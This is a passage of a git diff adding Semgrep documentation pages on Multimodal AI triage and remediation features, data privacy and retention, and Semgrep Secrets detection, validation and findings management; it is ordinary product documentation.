+Semgrep Multimodal auto-analyzes findings that meet the following criteria:
+- Full scans: All new findings that have **Critical** or **High** severity AND **High** or **Medium** confidence are auto-analyzed
+- Diff-aware scans (pull request and merge request scans): Up to 10 new findings are automatically analyzed per scan. AI-powered detection does not support diff-aware scans.
+
+
+## Features
+
+### AI-powered detection scans
+
+With Semgrep Multimodal's AI-powered detection, you can automatically identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization. Semgrep’s AI-powered detection combines the precision of static analysis with the contextual reasoning of large language models (LLMs).
+
+For instructions on enabling and running an AI-powered scan, see [Scan with AI-powered detection](/deployment/add-ai-to-scans).
+
+
+
+### Explanation
+
+Semgrep Multimodal explains why a finding is a true positive by connecting the rule’s message to the code that triggered it. It highlights the relevant lines of code along with the surrounding context and describes how the rule applies in this specific case. For security rules, Multimodal also connects the finding back to the threat model, showing the potential risk and why the code behavior matters.
+
+The explanation helps you understand not just *which* rule triggered a finding, but *why* the code is considered problematic.
+
+On the finding’s **Details** page:
+
+* Semgrep Multimodal’s explanation appears in the **Finding description** tab.
+* The rule that triggered the finding is described in the **Rule description** tab.
+* The exact lines of code that caused the finding are displayed in the **Your code** tab. Click a line to highlight the relevant code in context.
+
+For true positive findings, the same Multimodal-generated explanations are also included in pull request or merge request comments. A brief summary appears in the default view. Expand **More details about this** to view the full Multimodal-generated explanation.
+
+Note that Multimodal-generated explanations are **not** available for custom rules or community rules.
+
+### Remediation
+
+Semgrep Multimodal can provide remediation advice or Suggested fixes for Semgrep Code findings.
+
+#### Guidance
+
+With Multimodal enabled, pull request or merge request comments from Semgrep include step-by-step remediation instructions for the finding identified by Semgrep Code.
+
+
+Semgrep also displays remediation information on Semgrep AppSec Platform's **Findings page** under **Your code & fix** in the [finding's details](/semgrep-code/findings#view-details-about-a-specific-finding) page.
+
+
+
+**INFO**
+
+Semgrep only waits for a limited amount of time for Multimodal guidance before posting a PR or MR comment, since comments are time-sensitive. If guidance is missing from the PR or MR comment because it was not yet available, it should still be present on Semgrep AppSec Platform's **Findings page** for the finding.
+
+
+#### Suggested fix
+
+Semgrep Multimodal's [**Suggested fix**](/writing-rules/rule-defined-fix/) feature suggests changes to code snippets for Semgrep Code findings when it identifies a true positive. Multimodal only suggests a fix if the rule doesn't have a Rule-defined fix. You can set the minimum **Suggested fix** confidence level required to display Multimodal suggestions on Semgrep AppSec Platform's **Settings** page. To receive as many Multimodal suggestions as are available, set the minimum to **low confidence**.
+
+Multimodal customizes the code snippets it provides based on any previous feedback and your rule customizations. For example, if you’ve created a custom rule that recommends a specific sanitizer, Multimodal will automatically suggest that sanitizer whenever the rule is triggered.
+
+
+**Suggested fix** is also available in:
+- PR and MR comments so that you can review and verify Semgrep's generated fixes before applying them.
+- Semgrep AppSec Platform's **Findings page** under **Suggested fix** in the [finding's details](/semgrep-code/findings#view-details-about-a-specific-finding).
+
+
+**INFO**
+
+If many new issues are found in a given scan, Multimodal auto-triage and Suggested fix may not run on every issue.
+
+
+### Component tags
+
+**Component tags** use AI to categorize a finding based on its function, such as:
+
+- Payments
+- User authentication
+- Infrastructure
+
+By categorizing your code through component tags, Semgrep Multimodal can help you prioritize **high-risk issues**, such as remediating a code finding related to payments or user authentication.
+
+Component tags can be viewed in Semgrep AppSec Platform's **Findings** page.
+
+### Auto-triage
+
+Semgrep Multimodal uses AI's understanding of programming languages and libraries, and your code and triage history, to auto-triage findings and suggest whether a finding can safely be ignored. For every recommendation to ignore a finding, Semgrep also provides guidance with an explanation on why this is the case.
+
+Auto-triage recommendations are available in Semgrep AppSec Platform's **Findings** page when you filter for findings that Multimodal suggests should be ignored, and in the [finding's details](/semgrep-code/findings#view-details-about-a-specific-finding).
+
+
+Multimodal's suggestions to ignore findings are also surfaced in PR or MR comments, so developers can triage an issue directly without leaving their PR or MR.
+
+### Weekly priority emails
+
+Semgrep sends weekly emails with information on Multimodal's top three backlog tasks across all findings. Unlike other Multimodal features, these suggestions can include information for all Semgrep products that you have enabled. The emails are sent out on Monday to all organization admins.
+
+### Noise filtering (beta)
+
+Noise filtering increases developer velocity by reducing interruptions from potential false positives. With Noise Filtering, Multimodal evaluates each finding to determine if it's a true positive using additional context. If Multimodal thinks a finding may be a false positive, it prevents a PR comment from being posted in the developer workflow.
+
+Security teams can review filtered findings at any time on Semgrep's [**Code > Pre-production** page](https://semgrep.dev/orgs/-/findings?tab=open&last_opened=All+time&backlog=preprod). Semgrep also allows you to agree or disagree with the filtering. If you agree with the suggestion, Semgrep closes the finding, but if you disagree, Semgrep reopens the finding.
+
+Multimodal is [over 95% accurate in categorizing Semgrep Code findings as false positives](/semgrep-multimodal/metrics.md).
+
+### Memories
+
+Memories allows AppSec teams and developers to tailor Multimodal's remediation guidance to their organization's standards and defaults on a per-project, per-rule basis. When Multimodal gives a suggested fix, you can provide feedback by adding custom instructions.
+
+For example, if the code contains a hardcoded secret, Multimodal might suggest using an SDK that handles credentialing. However, if your company prefers to use a different secrets manager, you can provide this information to Multimodal. Multimodal then generates remediation guidance that works with your specific secrets manager in the future.
+
+### Upgrade guidance (beta)
+
+Semgrep Supply Chain's dependency upgrade guidance uses AI to analyze if a finding can be **safely upgraded** or if upgrading the package can cause **breaking changes**. Semgrep's Autofix capability can then create a PR to upgrade the package.
+
+Read more about [Upgrade guidance and Autofix](/semgrep-supply-chain/triage-and-remediation).
+
+## Reliability
+
+Multimodal supports fallback between model providers to ensure optimal performance and reliability. OpenAI is the primary provider in most cases, with automatic fallback to AWS Bedrock as needed. Semgrep's fallback decisions are based on an internal ranking system informed by ongoing research. Semgrep ranks models by performance and dynamically selects the best available from [your enabled options](/semgrep-multimodal/customize#select-your-ai-provider).
+
+Enabling additional model providers for your Semgrep organization can improve performance in some scenarios, while removing them could result in reduced performance.
diff --git a/mintlify-docs/semgrep-multimodal/privacy.mdx b/mintlify-docs/semgrep-multimodal/privacy.mdx
new file mode 100644
index 0000000000..92c56b6807
--- /dev/null
+++ b/mintlify-docs/semgrep-multimodal/privacy.mdx
@@ -0,0 +1,136 @@
+---
+title: "Data privacy and legal considerations"
+description: "Semgrep Multimodal uses API permissions to access code in your selected GitHub or GitLab repositories. To provide AI-powered functionality, portions of the source code are processed by Semgrep's AI model vendors."
+---
+
+Semgrep Multimodal’s data privacy and legal considerations apply across the following **AI-assisted features**, which build on one another:
+- **Triage and remediation** of findings
+- **Memories**: Adds reusable Memories to enhance triage and remediation.
+- **AI-powered detection scans**: Adds AI-driven vulnerability detection on top of triage, remediation, and Memories.
+
+## Overview of data flow
+
+When using Semgrep AI features:
+
+1. Semgrep accesses repository code on a file-by-file basis. In limited cases, broader repository access may be required.
+1. Relevant data, including portions of source code, are sent outside your repository to AI subprocessors for analysis. Semgrep supports AI subprocessors from the following model vendors:
+ - OpenAI (default)
+ - Amazon Bedrock (default)
+ - Anthropic (BYOK; not available for AI-powered detection scans)
+ - Azure OpenAI (BYOK; not available for AI-powered detection scans)
+ - Google Gemini (BYOK; not available for AI-powered detection scans)
+ - xAI Grok (BYOK; not available for AI-powered detection scans)
+1. AI subprocessors return results to Semgrep.
+1. Semgrep stores limited data to support product functionality, in accordance with its [data retention policies](#data-retention-and-storage-by-semgrep).
+
+
+## Data sent to AI subprocessors
+
+The type and amount of data sent to AI subprocessors depend on the feature being used. The following table summarizes the data transmitted to AI subprocessors:
+
+| Feature | Data sent to AI |
+| :--- | :--- |
+| Triage and remediation | Code associated with a finding and the minimal surrounding context |
+| Memories | Code associated with a finding, minimal surrounding context, and user-provided Memory content, including code snippets |
+| AI-powered detection scans | Full file contents, uploaded context documentation, and scan-related metadata |
+
+Semgrep **does not** intentionally send personal data to AI subprocessors.
+
+## Data retention and storage by Semgrep's AI vendors
+
+All Semgrep AI subprocessors operate under **zero data retention** agreements by default. Under the zero data retention agreements, AI subprocessors do not retain or use your data to train their models.
+
+Semgrep maintains Data Protection Agreements (DPAs) with all AI subprocessors. Customers can request these through the Semgrep [trust portal](https://trust.semgrep.dev/). Alternatively, contact your Semgrep account manager to request copies of these DPAs.
+
+## Data retention and storage by Semgrep
+
+Semgrep stores a limited amount of your data to support product functionality and performance evaluation. The type of data stored depends on the feature being used.
+
+### Triage and remediation
+
+Data stored may include:
+
+- AI prompts and responses
+- Code snippets associated with findings
+- Minimal surrounding context required for accurate results
+
+### Memories
+
+Includes all data from triage and remediation, and adds:
+
+- User-defined Memory content that is stored as text
+- Code snippets included in Memories
+
+Semgrep does not retrieve or access external data sources referenced in Memories.
+
+### AI-powered detection scans
+
+Data stored may include:
+
+- AI prompts and responses
+- Code snippets and, where required, full file contents
+- Uploaded context documentation
+- Scan reports, including metadata such as file names and, in some cases, code snippets
+
+Uploaded context documentation and scan reports are persistently stored in a Semgrep-managed Amazon S3 bucket. Context documentation may be reused across scans.
+
+### Retention period
+Stored data is retained for up to 6 months, unless otherwise noted. Semgrep will provide at least 30 days’ notice before making changes to retention policies.
+
+### Purpose of storage
+
+Stored data is used to:
+
+- Provide Semgrep Multimodal functionality
+- Enable access to prior results, for example, to provide remediation guidance
+- Support internal performance evaluation
+- Support troubleshooting and debugging
+
+## Data handling and protections
+- Customer data is logically isolated and never commingled across tenants
+- Semgrep does not intentionally send personal data to AI subprocessors
+- Semgrep and its subprocessors do not obtain ownership rights to your source code
+- Data sent to AI subprocessors is deleted after processing in accordance with zero data retention agreements
+
+
+## Minimal data retention policy (optional)
+
+If you want to further limit data retention for Semgrep Multimodal, you can contact [support](/support) to enroll in the minimal data retention policy.
+
+AI responses are still stored as required to provide functionality.
+
+> **When should I use this?**
+> Use this policy if your organization requires stricter data handling controls and reduced persistence of code and prompts within Semgrep systems, where possible.
+
+### Key differences from default behavior
+
+When the minimal data retention policy is enabled:
+
+- AI prompts and code are **not logged or captured** by observability tools
+- Data is **not stored in external storage systems**, such as Amazon S3
+- Stored data is limited to what is strictly required to provide functionality
+
+The table below compares default data handling with the minimal data retention policy. All stored data is handled by Semgrep or Semgrep-managed systems, not its AI vendors.
+
+
+| Category | Default behavior | Minimal data retention policy |
+| :--- | :--- | :--- |
+| AI prompts and code | May be logged and stored to support functionality and performance evaluation | Not logged or captured by observability tools; not stored in external systems, and persistence is limited to what is required for functionality |
+| AI responses | Stored for up to 6 months to provide functionality and access to prior results | Stored only as required to provide functionality, with reduced persistence |
+| Memories | Stored within Semgrep-managed systems and may include user-provided content and small code snippets | No change |
+| AI-powered detection data | Full file analysis, context documentation, and scan reports may be stored and reused | No change |
+| External storage (Semgrep-managed S3) | Used for certain data | Not used, except for AI-powered detection context documents and scan reports |
+| Data deletion | Available upon request | Available upon request |
+
+### Exceptions for AI-powered detection scans
+
+Under the minimal data retention policy, the following behavior remains unchanged for AI-powered detection scans:
+
+- If you upload context documentation to enhance AI-powered detection scans, these files are persistently stored in a Semgrep-managed Amazon S3 bucket to enable reuse across future AI-powered detection scans.
+- AI-powered scan reports are stored in a Semgrep-managed Amazon S3 bucket. These reports may contain metadata such as file names and, in some cases, code snippets included in issue descriptions.
+
+Responses from Semgrep's AI model vendors are stored in the Semgrep database solely for providing Multimodal functionality. For instance, AI-generated remediation advice is stored so users can access it in the Semgrep AppSec Platform. However, code snippets are never retained to improve future prompts.
+
+Any stored data can be deleted upon customer request. Semgrep, Inc. will provide at least 30 days' notice before making any changes to the retention policy.
+
+
diff --git a/mintlify-docs/semgrep-pro-vs-oss-1.mdx b/mintlify-docs/semgrep-pro-vs-oss-1.mdx
new file mode 100644
index 0000000000..54b0cc464b
--- /dev/null
+++ b/mintlify-docs/semgrep-pro-vs-oss-1.mdx
@@ -0,0 +1,7 @@
+---
+title: "Semgrep AppSec Platform versus Semgrep Community Edition"
+---
+
+import SemgrepAppSecPlatformVersusSemgrepCommunityEdition from "/snippets/semgrep-pro-vs-oss.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-pro-vs-oss.mdx b/mintlify-docs/semgrep-pro-vs-oss.mdx
new file mode 100644
index 0000000000..54b0cc464b
--- /dev/null
+++ b/mintlify-docs/semgrep-pro-vs-oss.mdx
@@ -0,0 +1,7 @@
+---
+title: "Semgrep AppSec Platform versus Semgrep Community Edition"
+---
+
+import SemgrepAppSecPlatformVersusSemgrepCommunityEdition from "/snippets/semgrep-pro-vs-oss.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-secrets/conceptual-overview.mdx b/mintlify-docs/semgrep-secrets/conceptual-overview.mdx
new file mode 100644
index 0000000000..37f169c062
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/conceptual-overview.mdx
@@ -0,0 +1,103 @@
+---
+title: "Semgrep Secrets overview"
+sidebarTitle: "Overview"
+---
+
+**Semgrep Secrets** scans code to detect exposed API keys, passwords, and other credentials. When exposed, these can be used by malicious actors to leak data or gain access to sensitive systems. Semgrep Secrets allows you to determine:
+
+* What secrets have been committed to your repository.
+* The validation status of the secret; for example, **valid** secrets are those that have been tested against a web service and confirmed to successfully grant resources or authentication. They are actively in use.
+* For GitHub repositories: if there are credentials in public or private repositories.
+
+Semgrep saves security engineers time and effort by prioritizing valid leaked secrets and informs developers of valid secrets in their PRs and MRs by posting comments directly.
+
+## How Semgrep Secrets works
+
+To ensure that findings are high-signal, comprehensive, and easy for users to prioritize, a Semgrep Secrets scan performs the following:
+
+* Search using regex
+* Semantic analysis
+* Validation
+* Entropy analysis
+
+The following sections explain how each step works.
+
+### Detect secrets through regex
+
+Semgrep Secrets uses a regex language detector to find secrets in various file types. This is done by detecting a commonly defined prefix and then searching for the secret using its expected length and format.
+
+To reduce the number of false positives this process raises, Semgrep uses and combines as many of the following processes with its search using regex when possible:
+
+- Removal of results that are likely to be false positives
+- Validation
+- Entropy analysis
+
+### Detect secrets through semantic analysis
+
+Semantic analysis refers to Semgrep Secrets' ability to understand how data is used within your code. This differentiates Semgrep Secrets from regex-based detectors that simply define a pattern to match a piece of code.
+
+Semgrep Secrets uses several mechanisms to perform semantic analysis. It uses [ dataflow analysis](/writing-rules/data-flow/data-flow-overview) and [ constant propagation](/writing-rules/data-flow/constant-propagation) which means that it is able to track data, such as variables, and the flow of that data across files and functions in your codebase.
+
+Performing semantic analysis is encapsulated in [ rules](/running-rules). By running these rules, Semgrep Secrets is able to detect if a variable is renamed, reassigned, or used in a function in such a way that a secret is exposed.
+
+
+See the following rule and JavaScript test code for an example.
+
+
+
+
+
+### Validate secrets
+
+After scanning your codebase, Semgrep Secrets uses a proprietary **validator** to determine if a secret is actively being used or some other state if there is a validator defined in the rule used.
+
+
+**INFO**
+
+All validations, such as API calls, are done **locally** in your environment. No tokens are sent to Semgrep servers.
+
+
+1. The validator detects the service, such as Slack or AWS, that the secret is used for.
+2. If the validator doesn't support the service that the secret is used for, Semgrep notes that there is **No validator** finding for the secret.
+3. Semgrep Secrets performs an API
+ call if the validator supports the service. The following outcomes can occur:
+ - **Confirmed valid:** Semgrep made an HTTP request using the secret, and it returned an HTTP status code of 200 or similar **and** some indication of valid access. For example, a service can include a `"message": "ok"` in the response body.
+ - **Confirmed invalid:** Semgrep made an HTTP request using the secret and it returned an HTTP status code of 401 or similar.
+ - **Validation error:** Semgrep made an HTTP request using the secret, but either the network request could not be made, a timeout occurred, or the HTTP status code returned a different HTTP status code. In this case, the Semgrep Team recommends manually reviewing the finding.
+ - **No Validator:** The rule does not have a validator. The Semgrep Team recommends manually reviewing the finding.
+
+By performing this validation check, you can prioritize and triage the most high-priority, active findings.
+
+
+**NOTE**
+
+- For a list of all supported detectors that Semgrep offers, see the [Policies](/semgrep-secrets/policies) page in your deployment.
+- See [Validators](/semgrep-secrets/validators) for syntax and examples.
+
+
+### Fine-tune findings through entropy analysis
+
+Entropy is the measure of a **string's randomness**. It's used to measure how likely a string is random. If a string is highly entropic, it's highly random. For certain types of secrets, such as API keys, randomness indicates that a string could be a secret. By performing entropy analysis, Semgrep Secrets can reduce false positives and produce more true positives.
+
+Examples of high-entropy (random) strings:
+
+```
+VERZVs+/nd56Z+/Qxy1mzEqqBwUS1l9D4YbqmPoOß
+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
+```
+
+Examples of low-entropy strings:
+
+```
+XXXXXX
+txtPassword1
+```
+
+## Next steps
+
+See [ Scan for secrets](/semgrep-secrets/getting-started) to learn how to:
+* Enable secrets scanning for your repositories
+* Manage the rules in your [policy](/semgrep-secrets/policies) to control how your scan runs.
+* View and triage secrets-related findings
+* Receive notifications and post tickets whenever Semgrep Secrets identifies issues
+* Write [custom rules](/semgrep-secrets/rules) with [validators](/semgrep-secrets/validators) to find bespoke secrets
diff --git a/mintlify-docs/semgrep-secrets/finding-details.mdx b/mintlify-docs/semgrep-secrets/finding-details.mdx
new file mode 100644
index 0000000000..998a48ec54
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/finding-details.mdx
@@ -0,0 +1,69 @@
+---
+title: "View findings details"
+description: "The finding's details page displays in-depth information about the finding, including:"
+---
+
+- A detailed description of the finding
+- Rule details, including the rule pattern itself
+- Finding details, such as whether the secret has been confirmed to be valid, when the finding was identified, the project and branch name, and commit ID where the issue was introduced
+- The code snippet where the issue was identified, along with a link to the source code where Semgrep identified the issue
+- The validator used to test whether the credential can be used
+- Activity history for the finding, including status changes to the finding, notes written by other Semgrep users specifically about this finding, and more
+
+
+## View a finding's details
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Secrets](https://semgrep.dev/orgs/-/secrets)**.
+
+
+Identify the finding whose details you want to view:
+ - If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
+ - If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+
+
+## Available actions on the finding details' page
+
+Click on the **kebab** icon to see the menu that includes the following options:
+
+- **Mark as reviewing** to change its status to **Reviewing** and flag the finding as one that is under further manual review
+- **Copy file path** of the source code where Semgrep identified the issue
+- **Copy link** to the finding's details page
+
+### Ignore the finding
+
+Click **Ignore...** to ignore the finding. Provide an **Ignore reason**, and add **Comments** on why you think that this finding should be ignored.
+
+If the file for the finding in question is a test file or something similar, you can choose the **Ignore files in future scans...** option, then select the file. Semgrep ignores the file in subsequent scans.
+
+Click **Ignore** to proceed.
+
+### Fix the finding
+
+Click **Fix** see the menu that includes the following options:
+
+- View the associated Jira ticket, if available
+- Open a PR that fixes the issue, if possible
+- Change the status of the issue as **To fix**, indicating that you plan to return to the finding in the future
+
+Note that Semgrep automatically marks findings as fixed when they're no longer detected in subsequent scans.
+
+### Add notes to findings
+
+To **add notes** to the activity history of a finding:
+
+
+
+Select a finding where you want to view details or add notes, and then do one of the following actions:
+ - If the default **Group by Rule** is enabled, click **Details** icon on the card of the finding.
+ - If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+
+Go to the **Activity** section, then click **New note**.
+
+
diff --git a/mintlify-docs/semgrep-secrets/findings.mdx b/mintlify-docs/semgrep-secrets/findings.mdx
new file mode 100644
index 0000000000..65bc73a66c
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/findings.mdx
@@ -0,0 +1,237 @@
+---
+title: "View findings in Semgrep AppSec Platform"
+sidebarTitle: "View findings"
+---
+
+
+Semgrep Secrets generates a **finding** when a rule matches a piece of code in your codebase. You can use Semgrep AppSec Platform's [**Secrets** page](https://semgrep.dev/orgs/-/findings) to view all of the findings generated by Semgrep Secrets after it scans your codebase.
+
+## View findings
+
+To view your findings in Semgrep AppSec Platform:
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Secrets](https://semgrep.dev/orgs/-/secrets)**.
+
+
+
+By default, Semgrep displays your **Priority** findings. Priority findings are defined as **valid** secrets with **critical** or **high** severity.
+
+You can switch to the **All** tab at any point to view all findings identified by Semgrep Secrets. Both the **Priority** findings view and the **All** findings view display high-level information about your findings. Each finding in the list includes information such as finding age, code location, project, branch, and validation status.
+
+
+**LOCAL SCANS**
+
+Findings from local scans are differentiated from their remote counterparts through their slugs. Remote repositories are identified as ACCOUNT_NAME/REPOSITORY_NAME, while local repositories are identified by default as local_scan/REPOSITORY_NAME.
+
+
+### Custom Priority tab
+
+Semgrep admins can create a custom priority definition to change the findings shown on the **Priority** tab. To do so:
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**. Ensure that you're viewing the **Priority**.
+
+
+Using the provided filters, set your parameters for priority findings.
+
+
+Click **Save**.
+
+
+You'll see a dialog window asking you to confirm that you want the changes saved for everyone. Click **Save** to proceed.
+
+
+
+This change applies to the entire Semgrep organization. You cannot have separate priority definitions for individual users or teams.
+
+## Filter findings
+
+Regardless of whether you use the **Priority** findings view or the **All** findings view, there are multiple grouping and filtering options available to you.
+
+### Time period
+
+The time period filters allow you to see which vulnerabilities were opened, fixed, or triaged during a certain period of time. The time period filter is **not** additive; it is a filter operation that precedes other filters on the page. For example, if you select **Last triaged** and select the status **Status Open** filter, no findings appear because, by definition, there are no triaged findings that are also open.
+
+The following filters are available:
+
+- Triage state update action:
+ - Opened in
+ - Triaged in
+ - Fixed in
+- Time period:
+ - Last day
+ - Last 7 days
+ - Last 30 days
+ - Last 3 months
+ - Last 6 months
+ - Last year
+ - All time
+
+### Project
+
+The **Project** filter allows you to search for findings associated with the selected projects.
+
+
+### Status
+
+The **Status** filter allows you to search for findings in the selected statuses. See [Triage status](/semgrep-secrets/findings#triage-statuses) for additional information.
+
+### Severity
+
+The **Severity** filter allows you to view findings of particular severities. Secrets finding severity is derived from the corresponding rule severity, as is the case for other Semgrep findings.
+
+However, Semgrep Secrets rules may provide different severities based on validation state and environment. For example, an invalid secret may be assigned **Medium** severity, a valid secret for a sandbox environment may be assigned **High** severity, and a valid secret in a production environment may be assigned **Critical** severity. This reflects the different risk levels associated with each situation.
+
+Possible values:
+
Low
Medium
High
Critical
+
+### Additional filters
+
+Semgrep offers additional filters that you can use to narrow down your results. The following filters are available:
+
+| Filter | Description |
+| :--- | :--- |
+| **Validation state** | Filter by [whether the secret is operative on the related service](#validation). Semgrep Secrets rules include validators, which can check whether the secret is valid for the service with which it is associated. |
+| **Secret** type| Filter by the type of secret, such as **private key**, or the web service that makes use of the secret, such as **Sendgrid** or **Stripe**. |
+| **Repository** visibility | Filter by whether the repository's [visibility](#repository-visibility) status. |
+| **Historical findings** | Filter for findings that are valid, leaked secrets in previous Git commits. |
+| **Project** tags| Filter for findings based on the tags associated with the project. |
+| **Multimodal file risk level** | Filter for findings based on Multimodal's assessment of risk level of files based on the type of code identified. High-risk files contain sensitive information, such as authorization and authentication details, while low-risk files may be things like test files. You can further filter by file type, such as **payments** or **tests**. |
+| **Multimodal autotriage** | Filter by whether [Multimodal autotriage](/semgrep-multimodal/overview#auto-triage) has determined the finding to be a **True positive** or **False positive**. |
+
+
+#### Triage statuses
+
+**Triage** is the prioritization of a finding based on policies or criteria set by your team or organization, such as severity, coding standards, business goals, and product goals.
+
+Semgrep AppSec Platform uses the logic specified in the table below to automatically mark findings as either fixed or removed when they are no longer present in the code.
+
+You can manually **Ignore** findings or set them as **To fix** or **Reviewing** in Semgrep AppSec Platform directly through **triage** or **bulk triage** actions.
+
+The triage statuses are as follows:
+
+| Status | Description |
+| :--- | :--- |
+| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
+| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
+| **Provisionally ignored** | Findings where Semgrep has determined the secret to be **invalid**. The secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. |
+| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
+| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
+| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
+| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
+
+#### Validation
+
+Refers to whether or not a secret is active and can be used to grant resources or authentication, or if a secret is inactive.
+
+- **Confirmed valid:** Semgrep made an HTTP request using the secret, and it returned an HTTP status code of 200 or similar **and** some indication of valid access. For example, a service can include a `"message": "ok"` in the response body.
+- **Confirmed invalid:** Semgrep made an HTTP request using the secret and it returned an HTTP status code of 401 or similar.
+- **Validation error:** Semgrep made an HTTP request using the secret, but either the network request could not be made, a timeout occurred, or the HTTP status code returned a different HTTP status code. In this case, the Semgrep Team recommends manually reviewing the finding.
+- **No Validator:** The rule does not have a validator. The Semgrep Team recommends manually reviewing the finding.
+
+#### Repository visibility
+
+Refers to whether or not the repository is a public repository or private. This is detected through your source code manager.
+
+| Repository visibility | Description |
+| ----------- | ------------ |
+| Public | Repository access doesn't require authentication; at a minimum, it can be viewed by anyone. |
+| Private | Repository access requires authentication. |
+| Unknown | Semgrep Secrets is unable to detect your repository visibility. This is typically assigned to:
Scans from local developer machines.
Scans from any non-GitHub source code manager, such as GitLab.
|
+
+
+**INFO**
+
+Semgrep supports visibility detection only for GitHub repositories.
+
+
+## Group and sort findings
+
+By default, Semgrep displays your findings using the **Group by Rule** view. This view shows your findings grouped by the rule Semgrep used to match the code. Your findings are shown sorted **by severity**, but you can opt to sort **by number of findings** for a given rule.
+
+To view findings individually, click **Group & sort > No grouping**. Findings are displayed based on the date they were found, with the most recent finding listed at the top.
+
+## Export findings
+
+You can export findings to a **CSV** file. Semgrep can export up to **10,000 most recent findings**. To export more than 10,000 findings, you must use the [ API](https://semgrep.dev/api/v1/).
+
+Semgrep exports all findings to the CSV file regardless of the filters you apply on the page.
+
+Export findings by navigating to the product page and clicking the ** icon** near the **Group & Sort** filters.
+
+
+
+| Field | Description |
+| :--- | :--- |
+| Id | The unique ID number of the finding. |
+| Rule name | The name of the rule. |
+| Product | The Semgrep product. Possible values are **Code**, **Code (AI)**, **Supply Chain**, or **Secrets**. |
+| Severity | The finding's severity. Possible values are **Critical**, **High**, **Medium**, or **Low**. |
+| Status | The finding's triage status. |
+| Confidence | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
+| Multimodal component | A descriptor, such as `API`, `Payments processing`, `Infrastructure`, that Multimodal tags the finding with, based on the code's context. |
+| Repository name | The name of the repository where Semgrep found the finding. |
+| Repository URL | The repository URL. |
+| Line of code URL | The URL to the specific line of code where the finding match began. A finding may be several lines long. |
+| Semgrep platform link | A link to the finding's **Details** page in Semgrep AppSec Platform. |
+| Created at | The time the finding was created in your timezone. |
+| Last Opened at | The time the finding was last opened. |
+| Branch | The name of the branch where the finding was detected. |
+| Triaged at | The most recent time that the finding was triaged. |
+| Triage comment | A triage comment created by the user. |
+| Triage reason | The reason why the finding was triaged, created by the user. |
+| Rule description | The description of the rule. This is the same as the rule's `message` key. |
+
+The following fields are exclusive to **Code** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Confidence | The finding's confidence. Possible values are **High**, **Medium**, or **Low**. Only Semgrep Supply Chain and Code findings provide this field. |
+| Category | The finding's category, such as **best practices**, **security**, or **correctness**. |
+| Is pro rule | Boolean value that returns `TRUE` if the rule that generated the finding is a pro rule. |
+| Assistant triage result | Provides Semgrep Multimodal's assessment. Possible values are `True positive` or `False positive`. These values appear only if Multimodal is enabled. |
+| Assistant triage reason | A short AI-generated reason why Multimodal thinks the finding is a true or false positive. These values appear only if Multimodal is enabled. |
+
+The following fields are exclusive to **Supply Chain** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Dependency | The name of the dependency where the findings was found. |
+| Reachability | The reachability status of the finding, such as **Reachable**, **No Reachability Analysis**, or **Unreachable**. |
+| Transitivity | States whether the finding originates from a direct or transitive dependency. |
+| CVE | The CVE number that the finding is assigned to. |
+| EPSS | The EPSS score, which estimates the likelihood that a software vulnerability can be exploited in the wild. |
+
+The following fields are exclusive to **Secrets** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Secret type | Possible values include **AI-detected**, **Generic secret**, **Connection URI**, and so on. |
+| Validation | States whether or not the secret was validated. |
+| Project visibility | States whether the project (repository) is public or private. This feature supports GitHub-hosted repositories only. It returns an **Unknown** value for non-GitHub SCMs. |
+
+
+
+
+## View details about a specific finding
+
+To view in-depth information about a specific finding, select the finding whose details you want to view. Then:
+
+- If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
+- If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+The finding's details page displays in-depth information about the finding. It also allows you to perform actions such as updating the finding's status as needed, viewing links to any integrations available, such as associated Jira tickets, and communicating with your team regarding the finding. For example, you can add notes to the finding that anyone with access to the finding can see. See [View findings' details](/semgrep-secrets/finding-details) for more information.
+
+## Next steps
+
+- Learn more about [viewing a finding's details](/semgrep-secrets/finding-details).
+- Learn how to [triage and remediate Semgrep Code findings](/semgrep-secrets/triage-remediation).
diff --git a/mintlify-docs/semgrep-secrets/generic-secrets.mdx b/mintlify-docs/semgrep-secrets/generic-secrets.mdx
new file mode 100644
index 0000000000..644dbcf3ad
--- /dev/null
+++ b/mintlify-docs/semgrep-secrets/generic-secrets.mdx
@@ -0,0 +1,78 @@
+---
+title: "Generic secrets AI"
+sidebarTitle: "Scan for generic secrets"
+---
+
